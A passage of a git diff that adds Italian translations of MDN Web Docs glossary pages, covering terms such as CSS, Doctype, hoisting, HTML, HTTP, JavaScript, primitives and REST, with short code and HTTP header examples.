+<p>CSS è una delle tre tecnologie cardine del Web, insieme a {{Glossary("HTML")}}  e  {{Glossary("JavaScript")}}. Il CSS di solito viene usato per controllare l'aspetto degli {{Glossary("Element","elementi HTML")}}, ma può essere usato anche con altri linguaggi di markup, come {{Glossary("SVG")}} o {{Glossary("XML")}}.</p>
+
+<p>Una regola CSS è un insieme di {{Glossary("CSS Property","proprietà")}} associate ad un {{Glossary("selettore")}}. Di seguito un esempio che mostra tutti i paragrafi HTML di colore giallo su sfondo nero:</p>
+
+<pre><code>/* Il selettore "p" indica che tutti i paragrafi nella pagina saranno interessati da questa regola */
+p {
+  /* L'attributo "color" definisce il colore del testo, in questo caso giallo. */
+  color: yellow;
+
+  /* L'attributo "background-color" definisce il colore dello sfondo, in questo caso nero. */
+  background-color: black
+}</code></pre>
+
+<p>"Cascading" si riferisce alle regole di priorità dei selettori ed è di fondamentale importanza, poichè un sito complesso può dichiarare migliaia di regole CSS.</p>
+
+<h2 id="Approfondimenti">Approfondimenti</h2>
+
+<h3 id="Conoscenza_generica">Conoscenza generica</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Learn/CSS">Impara il CSS</a></li>
+ <li>{{interwiki("wikipedia", "CSS")}} su Wikipedia</li>
+</ul>
+
+<h3 id="Riferimenti_tecnici">Riferimenti tecnici</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS">La documentazione di MDN sul CSS</a></li>
+ <li><a href="http://www.w3.org/Style/CSS/current-work" rel="external">Il lavoro attuale del CSS Working Group</a></li>
+</ul>
+
+<h3 id="Scopri_di_più_sul_CSS">Scopri di più sul CSS</h3>
+
+<ul>
+ <li><a href="http://www.codecademy.com/en/tracks/web" rel="external">Corso online su codecademy.com</a></li>
+</ul>
diff --git a/files/it/glossary/doctype/index.html b/files/it/glossary/doctype/index.html
new file mode 100644
index 0000000000..6791600c7f
--- /dev/null
+++ b/files/it/glossary/doctype/index.html
@@ -0,0 +1,24 @@
+---
+title: Doctype
+slug: Glossary/Doctype
+tags:
+  - DOCTYPE
+  - HTML
+translation_of: Glossary/Doctype
+---
+<p>In {{Glossary ("HTML")}}, il doctype è il preambolo "&lt;! DOCTYPE html&gt;" richiesto nella parte superiore di tutti i documenti. Il suo unico scopo è impedire al {{Glossary ("browser")}} di passare alla cosiddetta modalità "quirks mode" durante il rendering di un documento; cioè, il doctype "&lt;! DOCTYPE html&gt;" garantisce che il browser faccia il miglior tentativo di seguire le specifiche pertinenti, piuttosto che utilizzare una modalità di rendering diversa che è incompatibile con alcune specifiche.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_Knowledge">General Knowledge</h3>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/syntax.html#the-doctype">Definizione di DOCTYPE nelle specifiche HTML</a></li>
+ <li><a href="/en-US/docs/Quirks_Mode_and_Standards_Mode">Quirks Mode e Standards Mode</a></li>
+</ul>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document/doctype">Document.doctype</a>, un metodo JavaScript che ritorna il doctype</li>
+</ul>
diff --git a/files/it/glossary/first-class_function/index.html b/files/it/glossary/first-class_function/index.html
new file mode 100644
index 0000000000..02c413a1d0
--- /dev/null
+++ b/files/it/glossary/first-class_function/index.html
@@ -0,0 +1,20 @@
+---
+title: First-class Function
+slug: Glossary/First-class_Function
+translation_of: Glossary/First-class_Function
+---
+<p> </p>
+
+<p>Un linguaggio di programmazione implementa le First-class functions se le funzioni di quest'ultimo vengono trattate come ogni altra variabile.</p>
+
+<p>Per esempio, in un linguaggio che ne fa utilizzo, è possibile passare una funzione come parametro ad un'altra funzione, possono essere restituite da altre funzioni e possono essere assegnate ad una variabile.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "First-class functions", "First-class functions")}} on Wikipedia</li>
+</ul>
+
+<p> </p>
diff --git a/files/it/glossary/head/index.html b/files/it/glossary/head/index.html
new file mode 100644
index 0000000000..01d27c78fa
--- /dev/null
+++ b/files/it/glossary/head/index.html
@@ -0,0 +1,20 @@
+---
+title: Head
+slug: Glossary/Head
+tags:
+  - Glossary
+  - HTML
+  - head
+  - metadata
+translation_of: Glossary/Head
+---
+<p>L'<strong>Head</strong><strong> </strong>è la parte di un documento {{glossary("HTML")}} che contiene i {{glossary("metadata")}} relativi al documento, come autore, descrizione, e collegameti a {{glossary("CSS")}} o file {{glossary("JavaScript")}} che possono essere applicati al documento HTML.</p>
+
+<h2 id="Ulteriorei_risorse">Ulteriorei risorse</h2>
+
+<h3 id="HTML_head">HTML head</h3>
+
+<ul>
+ <li>{{htmlelement("head")}} element reference su MDN</li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_HTML_head">L' HTML &lt;head&gt;</a> nella MDN Learning Area</li>
+</ul>
diff --git a/files/it/glossary/header_di_risposta/index.html b/files/it/glossary/header_di_risposta/index.html
new file mode 100644
index 0000000000..6363a8b84a
--- /dev/null
+++ b/files/it/glossary/header_di_risposta/index.html
@@ -0,0 +1,38 @@
+---
+title: Header di risposta
+slug: Glossary/Header_di_risposta
+tags:
+  - Glossário
+translation_of: Glossary/Response_header
+---
+<p>Un<strong> header di risposta</strong> è un {{glossary("header", "HTTP header")}} che può essere utilizzato in una risposta HTTP e che non fa riferimento al contenuto del messaggio. Gli header di risposta, come {{HTTPHeader("Age")}}, {{HTTPHeader("Location")}} o {{HTTPHeader("Server")}} sono usati per fornire un contesto della risposta più dettagliato.</p>
+
+<p>Non tutti gli header che compaiono in una risposta sono <em>header di risposta</em>. Ad esempio, l'header {{HTTPHeader("Content-Length")}} è un {{glossary("entity header")}} che fa riferimento alla dimensione del corpo del messaggio di risposta. Tuttavia queste entità sono chiamate solitamente header di risposta in questo contesto.</p>
+
+<p>Di seguito sono mostrati alcuni header di risposta dopo una richiesta {{HTTPMethod("GET")}} . Si noti che, strettamente parlando, gli header {{HTTPHeader("Content-Encoding")}} e {{HTTPHeader("Content-Type")}} sono {{glossary("entity headers")}}:</p>
+
+<pre>200 OK
+Access-Control-Allow-Origin: *
+Connection: Keep-Alive
+Content-Encoding: gzip
+Content-Type: text/html; charset=utf-8
+Date: Mon, 18 Jul 2016 16:06:00 GMT
+Etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a"
+Keep-Alive: timeout=5, max=997
+Last-Modified: Mon, 18 Jul 2016 02:36:04 GMT
+Server: Apache
+Set-Cookie: mykey=myvalue; expires=Mon, 17-Jul-2017 16:06:00 GMT; Max-Age=31449600; Path=/; secure
+Transfer-Encoding: chunked
+Vary: Cookie, Accept-Encoding
+X-Backend-Server: developer2.webapp.scl3.mozilla.com
+X-Cache-Info: not cacheable; meta data too large
+X-kuma-revision: 1085259
+x-frame-options: DENY</pre>
+
+<h2 id="Scopri_di_più">Scopri di più</h2>
+
+<h3 id="Conoscenza_tecnica">Conoscenza tecnica</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP/Headers">List of all HTTP headers</a></li>
+</ul>
diff --git a/files/it/glossary/hoisting/index.html b/files/it/glossary/hoisting/index.html
new file mode 100644
index 0000000000..77186b6b2b
--- /dev/null
+++ b/files/it/glossary/hoisting/index.html
@@ -0,0 +1,74 @@
+---
+title: Hoisting
+slug: Glossary/Hoisting
+tags:
+  - Glossário
+  - JavaScript
+translation_of: Glossary/Hoisting
+---
+<p>Hoisting (<em>sollevare, issare in italiano</em>) è un termine che <em>non</em> sentirai mai usare in nessuno testo normativo prima di <a href="http://www.ecma-international.org/ecma-262/6.0/index.html">ECMAScript® 2015 Language Specification</a>. L'Hoisting è stato pensato come un modo generico di pensare a come funziona, in Javascript, il contesto di esecuzione (nello specifico le fasi di creazioni e di esecuzione). Il concetto può essere poco chiaro all'inizio.</p>
+
+<p>Una definizione rigida di Hoisting potrebbe essere: "(durante la fase di <em>compilazione</em>)  le dichiarazioni delle variabili e delle funzioni sono fisicamente spostate in cima al codice", ma questo di fatto non è quello che succede. In realtà, le dichiarazioni delle variabili e delle funzioni sono messe in memoria durante la fase di <em>compilazione</em>, ma rimangono esattamente dove le hai scritte nel codice.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="Technical_example">Technical example</h3>
+
+<p>Uno dei vantaggi di mettere in memoria la dichiarazione delle funzioni, prima di eseguire qualunque segmento di codice, è che questo ti permette di usare una funzione prima di dichiararla. Per esempio:</p>
+
+<pre class="brush: js notranslate">function catName(name) {
+  console.log("My cat's name is " + name);
+}
+
+catName("Tigger");
+/*
+Il risultato del codice sopra è: "My cat's name is Tigger"
+*/
+</pre>
+
+<p>Il codice sopra è scritto come chiunque si aspetterebbe. Ora, vediamo cosa succede quando chiamiamo la funzione prima di scriverla:</p>
+
+<pre class="brush: js notranslate">catName("Chloe");
+
+function catName(name) {
+  console.log("My cat's name is " + name);
+}
+/*
+Il risultato del codice sopra è: "My cat's name is Chloe"
+*/
+</pre>
+
+<p>Anche se chiamiamo la funzione all'inizio del codice, prima che questa sia scritta, il codice continua a funzionare. Questo accade grazie al comportamento del "contesto di esecuzione" (<em>execution context</em>) di Javascript.</p>
+
+<p>L'Hoisting funziona bene anche con altri tipi di dati (<em>data types)</em> e con le variabili. Le variabili possono essere inizializzate e usate prima di essere dichiarate. Ma non possono essere usate senza inizializzazione.</p>
+
+<h3 id="Technical_example_2">Technical example</h3>
+
+<pre class="brush: js notranslate">num = 6;
+num + 7;
+var num;
+/* non restituisce errore perchè num è dichiarata*/
+
+</pre>
+
+<p>Javascript "solleva" (<em>hoists</em>) solo le dichiarazioni, non le inizializzazioni. Se utilizzi una variabile prima di dichiararla e inizializzarla, il suo valore sarà undefined. L'esempio qui sotto dimostra questo comportamento.</p>
+
+<pre class="brush: js notranslate">var x = 1; // Initialize x
+console.log(x + " " + y); // '1 undefined'
+var y = 2; // Initialize y
+
+
+// Il codice seguente si comporterà nella stessa maniera del precedente
+var x = 1; // Initialize x
+var y; // Declare y
+console.log(x + " " + y); // '1 undefined'
+y = 2; // Initialize y
+</pre>
+
+<h3 id="Technical_reference">Technical reference</h3>
+
+<ul>
+ <li><a href="https://www.udemy.com/understand-javascript/">JavaScript: Understanding the Weird Parts</a> - Udemy.com Course</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var statement</a> - MDN</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> - MDN</li>
+</ul>
diff --git a/files/it/glossary/html/index.html b/files/it/glossary/html/index.html
new file mode 100644
index 0000000000..04b4009ed5
--- /dev/null
+++ b/files/it/glossary/html/index.html
@@ -0,0 +1,50 @@
+---
+title: HTML
+slug: Glossary/HTML
+tags:
+  - CodingScripting
+  - Glossário
+  - HTML
+  - Script
+  - Story
+translation_of: Glossary/HTML
+---
+<p>HTML (HyperText Markup Language) è un linguaggio descrittivo che specifica la struttura delle pagine web.</p>
+
+<h2 id="Breve_storia">Breve storia</h2>
+
+<p>Nel 1990, come parte della sua visione del {{glossary("World Wide Web","Web")}}, Tim Berners-Lee definisce il suo concetto di {{glossary("hypertext","hypertesto (hypertext)")}}, che successivamente ha formalizzato durante gli anni attraverso un markup basato principalmente su {{glossary("SGML")}}. L'{{glossary("IETF")}} inizia a specificare formalmente HTML nel 1993, e dopo diverse bozze rilascia ufficialmente la versione 2.0 nel 1995. Nel 1994 Berners-Lee fonda il {{glossary("W3C")}} per lo sviluppo Web. Nel 1996, il W3C si assume il lavoro riguardo HTML e pubblica la versione 3.2 un anno dopo. Successivamente, HTML 4.0 è stato rilasciato nel 1999 ed è diventato un {{glossary("ISO")}} standard nel 2000.</p>
+
+<p>Al tempo, il W3C stava quasi per abbandonare l'HTML a favore di {{glossary("XHTML")}}, solleticando la fondazione nel 2004 di un gruppo indipendente chiamato {{glossary("WHATWG")}}. Grazie al WHATWG, il lavoro su {{glossary("HTML5")}} è continuato: le due organizzazioni hanno rilasciato la prima bozza nel 2008 e la versione finale nel 2014.</p>
+
+<h2 id="Concetto_e_sintassi">Concetto e sintassi</h2>
+
+<p>Un documento HTML è un documento in chiaro strutturato con degli {{glossary("element","elementi")}}. Gli elementi sono racchiusi fra dei {{Glossary("tag")}} di apertura e chiusura. Ogni tag inizia e finisce con delle parentesi angolari (<code>&lt;&gt;</code>). Esistono alcuni tag "vuoti" che non possono includere testo, ad esempio {{htmlelement("img")}}.</p>
+
+<p>I tag in HTMl possono essere estesi con degli {{Glossary("attribute","attributi")}}, che forniscono informazioni aggiuntive che vanno a influenzare il modo in cui il browser interpreta tale elemento. Esempio:</p>
+
+<p><img alt="Detail of the structure of an HTML element" src="https://mdn.mozillademos.org/files/7659/anatomy-of-an-html-element.png" style="height: 181px; width: 609px;"></p>
+
+<p>Un file HTML è salvato con un estensione <code>.htm</code> o <code>.html</code>, solitamente servito a un {{Glossary("Server","Web server")}}, e visualizzato da qualsiasi {{Glossary("Browser","Web browser")}} (con diverse compatibilità).</p>
+
+<h2 id="Vedi_altro">Vedi altro</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "HTML", "HTML su Wikipedia")}}</li>
+</ul>
+
+<h3 id="Impara_HTML">Impara HTML</h3>
+
+<ul>
+ <li><a href="http://developer.mozilla.org/en-US/Learn/HTML">Il nostro tutorial HTML</a></li>
+ <li><a href="http://www.codecademy.com/en/tracks/web" rel="external">Il corso online sucodecademy.com</a></li>
+</ul>
+
+<h3 id="Riferimento_tecnici">Riferimento tecnici</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML">La documentazione HTML su MDN</a></li>
+ <li><a href="http://www.w3.org/TR/html5/" rel="external">Le specifiche HTML</a></li>
+</ul>
diff --git a/files/it/glossary/html5/index.html b/files/it/glossary/html5/index.html
new file mode 100644
index 0000000000..63a0630a67
--- /dev/null
+++ b/files/it/glossary/html5/index.html
@@ -0,0 +1,18 @@
+---
+title: HTML5
+slug: Glossary/HTML5
+tags:
+  - CodingScripting
+  - Glossário
+  - HTML
+  - HTML5
+  - Script
+translation_of: Glossary/HTML5
+---
+<p>L'ultimo rilascio stabile di {{Glossary("HTML")}}, HTML5, porta HTML da un semplice linguaggi di markup per strutturare un document a una completa piattaforma di sviluppo app. Tra le altre caratteristiche, HTML5 include nuovi elementi e nuove {{glossary("JavaScript")}} {{glossary("API","APIs")}} per migliorare l'accesso allo storage, ai multimedia e all'hardware.</p>
+
+<h2 id="Vedi_altro">Vedi altro</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/HTML5">La nostra guida per HTML5</a></li>
+</ul>
diff --git a/files/it/glossary/http/index.html b/files/it/glossary/http/index.html
new file mode 100644
index 0000000000..813d9a4f9e
--- /dev/null
+++ b/files/it/glossary/http/index.html
@@ -0,0 +1,26 @@
+---
+title: HTTP
+slug: Glossary/HTTP
+tags:
+  - Beginner
+  - Glossary
+  - HTTP
+  - Infrastructure
+  - Web Performance
+  - 'l10n:priority'
+translation_of: Glossary/HTTP
+---
+<p>L’<em>HyperText Transfer Protocol</em> (Protocollo di Trasferimento Ipertestuale, <strong>HTTP</strong>) è il {{glossary("protocol", "protocollo")}} di rete fondamentale per il trasferimento di ipermedia (documenti multimediali che utilizzano hyperlink) sul {{glossary("World Wide Web","Web")}}. Solitamente ha luogo fra un browser e un server, in modo che l'utente possa fruire dei contenuti. La versione corrente di HTTP è {{glossary("HTTP_2", "HTTP/2")}}.</p>
+
+<p>Il termine "http" fa parte di un {{glossary("URI")}} (come ad esempio in "http://example.com/") ed è chiamato "schema". Le risorse che utilizzano lo schema "http" sono solitamente trasferite per mezzo di una connessione non criptata che usa il protocollo HTTP. Lo schema "https" (come ad esempio in "https://developer.mozilla.org") indica che una risorsa è trasferita sempre tramite il protocollo HTTP, ma attraverso un canale sicuro chiamato {{glossary("TLS")}}.</p>
+
+<p>L’HTTP è testuale (tutte le comunicazioni avvengono con testo in chiaro) e indipendente (nessuna comunicazione può conoscere o accedere a quelle precedenti). Questa proprietà è fondamentale per permettere agli utenti di navigare in Internet. Tuttavia, l’HTTP può essere usato come base in servizi web {{glossary("REST")}} per comunicare da server a server oppure per rendere più dinamici i siti web attraverso richieste {{glossary("AJAX")}}.</p>
+
+<div>
+<h2 id="Approfondimenti">Approfondimenti</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP su MDN</a></li>
+ <li>{{interwiki("wikipedia", "Hypertext Transfer Protocol", "HTTP")}} su Wikipedia</li>
+</ul>
+</div>
diff --git a/files/it/glossary/index.html b/files/it/glossary/index.html
new file mode 100644
index 0000000000..8e1c81312d
--- /dev/null
+++ b/files/it/glossary/index.html
@@ -0,0 +1,45 @@
+---
+title: Glossary
+slug: Glossary
+tags:
+  - Beginner
+  - Glossary
+  - Index
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+translation_of: Glossary
+---
+<div style="width: 44%; float: right; margin: 4px 0 .5em 1em; line-height: 1.4;">{{LearnBox({"title":"Learn a new term:"})}}</div>
+
+<p class="summary" style="padding-top: 0; border-top-width: 0;"><span class="seoSummary">Web technologies contain long lists of jargon and abbreviations that are used in documentation and coding. This glossary provides definitions of words and abbreviations you need to know to successfully understand and build for the web.</span></p>
+
+<h2 id="Glossary_of_Terms"><strong>Glossary of Terms</strong></h2>
+
+<p>{{GlossaryList({"split": "h3", "css": "multiColumnList"})}}</p>
+
+<h2 id="Contribute_to_the_glossary">Contribute to the glossary</h2>
+
+<p>This glossary is a never ending work in progress. You can help improving it by <a href="/en-US/docs/MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary">writing new entries</a> or by making the existing ones better. The easiest way to start is to hit the following link or to pick one of the suggested terms below.</p>
+
+<p><strong><a href="/en-US/docs/new?parent=4391">Add a new entry to the glossary</a></strong></p>
+
+<p>{{GlossaryList({"terms":["at-rule", "ALPN", "Attack", "Byte-Order Mark", "client", "Character set", "cryptosystem", "debug", "digital signature", "execution", "flex-direction", "GLSL", "Interface", "Library", "Memory management", "routers", "Self-Executing Anonymous Function", "Stylesheet", "Vector image"], "filter": "notdefined", "css": "multiColumnList"})}}</p>
+
+<p>If you want to know more on how to contribute to the glossary, check out <a href="/en-US/docs/MDN/Doc_status/Glossary">the glossary documentation status page</a>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/MDN/Community">Join the MDN community</a></li>
+</ul>
+
+<div class="hidden">
+<h2 id="Subnav">Subnav</h2>
+
+<section id="Quick_Links">
+<ol>
+ <li><strong><a href="/en-US/docs/Glossary">MDN Web Docs Glossary</a></strong>{{ListSubpagesForSidebar("/en-us/docs/Glossary", 1)}}</li>
+</ol>
+</section>
+</div>
diff --git a/files/it/glossary/javascript/index.html b/files/it/glossary/javascript/index.html
new file mode 100644
index 0000000000..b672c4d871
--- /dev/null
+++ b/files/it/glossary/javascript/index.html
@@ -0,0 +1,41 @@
+---
+title: JavaScript
+slug: Glossary/JavaScript
+translation_of: Glossary/JavaScript
+---
+<p>JavaScript (JS) è un linguaggio di programmazione principalmente client-side per programmare dinamicamente pagine web, ma spesso anche {{Glossary("Server","server")}}-side, usando pacchetti come <a href="http://nodejs.org/" rel="external">Node.js</a>.</p>
+
+<p>Non confondere JavaScript with the {{interwiki("wikipedia", "Java_(programming_language)", "linguaggio di programmazione Java")}}. Sia "Java" che "JavaScript" sono marchi commerciali o marchi registrati di Oracle negli Stati Uniti e in altri Paesi. Comunque sia, i due linguaggi di programmazione hanno una sintassi, una semantica e degli usi molto diversi.</p>
+
+<p>Concepito come un linguaggio server-side da Brendan Eich (un allora impiegato della Netscape Corporation), JavaScript superò presto Netscape Navigator 2.0 nel Settembre 1995. JavaScript ottenne immediato successo e {{glossary("Microsoft Internet Explorer", "Internet Explorer 3.0")}} introdusse il supporto a JavaScript sotto il nome JScript nell'Agosto del 1996.</p>
+
+<p>Nel Novembre del 1996, Netscape iniziò a lavorare con ECMA International per fare di JavaScript uno standard industriale. Da allora, il JavaScript standardizzato è chiamato ECMAScript e indicato con ECMA-262, la cui ultima (ottava) edizione sarà disponibile nel Giugno del 2017.</p>
+
+<p>JavaScript è principalemente usato nel browser, permettendo agli sviluppatori di manipolare il contenuto delle pagine web tramite {{Glossary("DOM")}}, manipolare dati con {{Glossary("AJAX")}} e {{Glossary("IndexedDB")}}, disegnare elementi grafici con vari {{Glossary("canvas")}}, interagire con il dispositivo che fa andare il browser tramite vari {{Glossary("API","API")}}, e cos via. JavaScript è uno dei linguaggi più usati al mondo, essendo la causa della recente creascita e del miglioramento di performance degli {{Glossary("API","API")}} presenti nei browser.</p>
+
+<p>Recentemente, JavaScript è ritornato ai server con la nota piattaforma <a href="http://nodejs.org/" rel="external">Node.js</a>, il più popolare ambiente di sviluppo cross-platform JavaScript esterno al browser. Node.js permette di usare JavaScript come un linguaggio di script per automatizzare processi su un PC e costruire {{Glossary("HTTP")}} totalmente funzionante e server con {{Glossary("Web Sockets", "Web Socket")}}.</p>
+
+<h2 id="Scopri_di_più">Scopri di più</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "JavaScript", "JavaScript")}} su Wikipedia</li>
+</ul>
+
+<h3 id="Impaare_il_JavaScript">Impaare il JavaScript</h3>
+
+<ul>
+ <li>La {{Link("/en-US/docs/Web/JavaScript/Guide")}} su MDN</li>
+ <li><a href="http://nodeschool.io/#workshoppers">La lezione "javascripting" su NodeSchool</a></li>
+ <li><a href="http://www.codecademy.com/tracks/javascript" rel="external">Il corso JavaScript su codecademy.com</a></li>
+ <li><a href="http://ejohn.org/apps/learn/" rel="external">Il "Learning Advanced JavaScript" di John Resig</a></li>
+</ul>
+
+<h3 id="Riferimenti_tecnici">Riferimenti tecnici</h3>
+
+<ul>
+ <li><a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm" rel="external">L'ultimo standard ECMAScript</a></li>
+ <li>La {{Link("/en-US/docs/Web/JavaScript/reference")}} su MDN</li>
+ <li><a href="http://eloquentjavascript.net/" rel="external">Il libro <em>Eloquent JavaScript</em></a></li>
+</ul>
diff --git a/files/it/glossary/node/dom/index.html b/files/it/glossary/node/dom/index.html
new file mode 100644
index 0000000000..33c713a074
--- /dev/null
+++ b/files/it/glossary/node/dom/index.html
@@ -0,0 +1,14 @@
+---
+title: Node (DOM)
+slug: Glossary/Node/DOM
+translation_of: Glossary/Node/DOM
+---
+<p><span class="seoSummary">Nel contesto del </span>{{Glossary("DOM")}}<span class="seoSummary">, un <strong>nodo</strong> è un singolo punto nell'albero dei nodi. Varie cose che sono nodi sono il documento stesso, elementi, testo e commenti.</span></p>
+
+<h2 id="Per_saperne_di_più">Per saperne di più</h2>
+
+<h3 id="Riferimento_tecnico">Riferimento tecnico</h3>
+
+<ul>
+ <li><a href="https://dom.spec.whatwg.org/#concept-node">L'albero dei nodi</a> WHATWG spec</li>
+</ul>
diff --git a/files/it/glossary/node/index.html b/files/it/glossary/node/index.html
new file mode 100644
index 0000000000..49f2190f34
--- /dev/null
+++ b/files/it/glossary/node/index.html
@@ -0,0 +1,15 @@
+---
+title: Node
+slug: Glossary/Node
+tags:
+  - Disambiguation
+  - Glossary
+  - NeedsTranslation
+  - TopicStub
+translation_of: Glossary/Node
+---
+<p>The term <strong>node</strong> can have several meanings depending on the context. It may refer to:</p>
+
+<p>{{GlossaryDisambiguation}}</p>
+
+<p>Another use of the word is when talking about {{Glossary("Node.js")}}</p>
diff --git a/files/it/glossary/nullish/index.html b/files/it/glossary/nullish/index.html
new file mode 100644
index 0000000000..3d4ac992ed
--- /dev/null
+++ b/files/it/glossary/nullish/index.html
@@ -0,0 +1,6 @@
+---
+title: Nullish value
+slug: Glossary/Nullish
+translation_of: Glossary/Nullish
+---
+<p>In <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/JavaScript">JavaScript</a>, un valore nullo può essere {{JSxRef("null")}} o {{JSxRef("undefined")}}. I valori nulli sono sempre <a href="/en-US/docs/Glossary/Falsy">falsi</a>.</p>
diff --git a/files/it/glossary/primitive/index.html b/files/it/glossary/primitive/index.html
new file mode 100644
index 0000000000..a254782313
--- /dev/null
+++ b/files/it/glossary/primitive/index.html
@@ -0,0 +1,32 @@
+---
+title: Primitive
+slug: Glossary/Primitive
+translation_of: Glossary/Primitive
+---
+<p>Una <strong>primitiva</strong> (valore primitivo, tipo di dato primitivo) è un dato che non è un {{Glossary("object", "oggetto")}} e non ha {{glossary("method","metodi")}}. In {{Glossary("JavaScript")}}, cisono 6 tipi di dati primitivi: {{Glossary("string")}}, {{Glossary("number")}}, {{Glossary("boolean")}}, {{Glossary("null")}}, {{Glossary("undefined")}}, {{Glossary("symbol")}} (nuovo in {{Glossary("ECMAScript")}} 2015).</p>
+
+<p>La maggior parte delle volte, un vaolre primitivo è rappresentato direttamente al livello più basso dell'implementazione del linguaggio.</p>
+
+<p>Tutte le primitive sono <strong>immutabili</strong> (non possono essere cambiati).</p>
+
+<h2 id="Wrapper_di_oggetti_primitivi_in_JavaScript">Wrapper di oggetti primitivi in JavaScript</h2>
+
+<p>Ad eccezione di <code>null</code> e <code>undefined</code>, tutti i valori primitivi hanno oggetti equivalenti che avvolgono i valori primitivi:</p>
+
+<ul>
+ <li>{{jsxref("String")}} per la primitiva string.</li>
+ <li>{{jsxref("Number")}} per la primitiva number.</li>
+ <li>{{jsxref("Boolean")}} per la primitiva Boolean.</li>
+ <li>{{jsxref("Symbol")}} per la primitiva Symbol.</li>
+</ul>
+
+<p>Il methodo wrapper <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf"><code>valueOf()</code></a> ritorna il valore primitivo.</p>
+
+<h2 id="Per_saperne_di_più">Per saperne di più</h2>
+
+<h3 id="Conoscenza_generale">Conoscenza generale</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures">Introduzione ai tipi di dati in JavaScript</a></li>
+ <li>{{Interwiki("wikipedia", "Tipi di dati primitivi")}} on Wikipedia</li>
+</ul>
diff --git a/files/it/glossary/protocollo/index.html b/files/it/glossary/protocollo/index.html
new file mode 100644
index 0000000000..d764b42322
--- /dev/null
+++ b/files/it/glossary/protocollo/index.html
@@ -0,0 +1,27 @@
+---
+title: protocollo
+slug: Glossary/Protocollo
+tags:
+  - Glossário
+  - Infrastruttura
+  - Protocolli
+translation_of: Glossary/Protocol
+---
+<p id="Summary">Un <strong>protocollo</strong> è un sistema di regole che stabilisce come vengono scambiati i dati fra computer diversi o all’interno dello stesso computer. Per comunicare tra loro, i dispositivi devono scambiarsi i dati in un formato comune. L’insieme delle regole che definisce un formato si chiama protocollo.</p>
+
+<h2 id="Vedi_altro">Vedi altro</h2>
+
+<h3 id="Conoscenze_generali">Conoscenze generali</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Protocollo di rete")}} su Wikipedia</li>
+ <li><a href="http://www.rfc-editor.org/search/standards.php">RFC Official Internet Protocol Standards</a></li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Glossary/TCP">TCP</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Overview">HTTP overview</a></li>
+ <li><a href="/en-US/docs/Glossary/Packet">packet</a></li>
+</ul>
diff --git a/files/it/glossary/reflow/index.html b/files/it/glossary/reflow/index.html
new file mode 100644
index 0000000000..9f62c24c8b
--- /dev/null
+++ b/files/it/glossary/reflow/index.html
@@ -0,0 +1,12 @@
+---
+title: Reflow
+slug: Glossary/Reflow
+translation_of: Glossary/Reflow
+---
+<p>Il <strong>Reflow</strong> avviene quando un {{glossary("browser")}} deve processare e ridesignare (posizionie geometrie) una pagina web o una sua parte, come dopo un aggiornamento dinamico della pagina in un sito interattivo.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="https://developers.google.com/speed/articles/reflow">Google article "Minimizing browser reflow"</a></li>
+</ul>
diff --git a/files/it/glossary/rest/index.html b/files/it/glossary/rest/index.html
new file mode 100644
index 0000000000..9c6a8f9100
--- /dev/null
+++ b/files/it/glossary/rest/index.html
@@ -0,0 +1,33 @@
+---
+title: REST
+slug: Glossary/REST
+tags:
+  - Architettura
+  - Funzionamento del web
+  - Glossário
+  - HTTP
+  - Principiante
+  - Rest
+translation_of: Glossary/REST
+---
+<p>Il <em>Representational State Transfer</em> (<strong>REST</strong>) si riferisce a un insieme di vincoli nell'architettura del software che permettono ai sistemi di essere efficienti, affidabili e scalabili. Un sistema è definito “RESTful” quando rispetta questi vincoli.</p>
+
+<p>L'idea di base di REST è trasferire una risorsa, ad esempio un documento, insieme al suo stato e ai suoi collegamenti ipertestuali (<em>hypertext</em>) tramite operazioni standard e in formati ben definiti. Spesso le {{Glossary("API","API")}} o servizi differenti vengono chiamati RESTful quando modificano direttamente un documento, invece di attivare azioni altrove.</p>
+
+<p>Dato che l’{{Glossary("HTTP")}}, il protocollo standard alla base del {{glossary("World Wide Web","Web")}}, trasferisce documenti e link ipertestuali, API e HTTP sono a volte definiti colloquialmente “RESTful API”, “RESTful service” o più semplicemente “REST service”, anche se non rispettano totalmente i vincoli REST. I principianti possono concepire una REST API come un servizio HTTP che può essere chiamato usando librerie e strumenti web.</p>
+
+<h2 id="Approfondimenti">Approfondimenti</h2>
+
+<h3 id="Risorse_di_apprendimento">Risorse di apprendimento</h3>
+
+<ul>
+ <li><a href="http://www.restapitutorial.com/">restapitutorial.com</a></li>
+ <li><a href="http://restcookbook.com/">restcookbook.com</a></li>
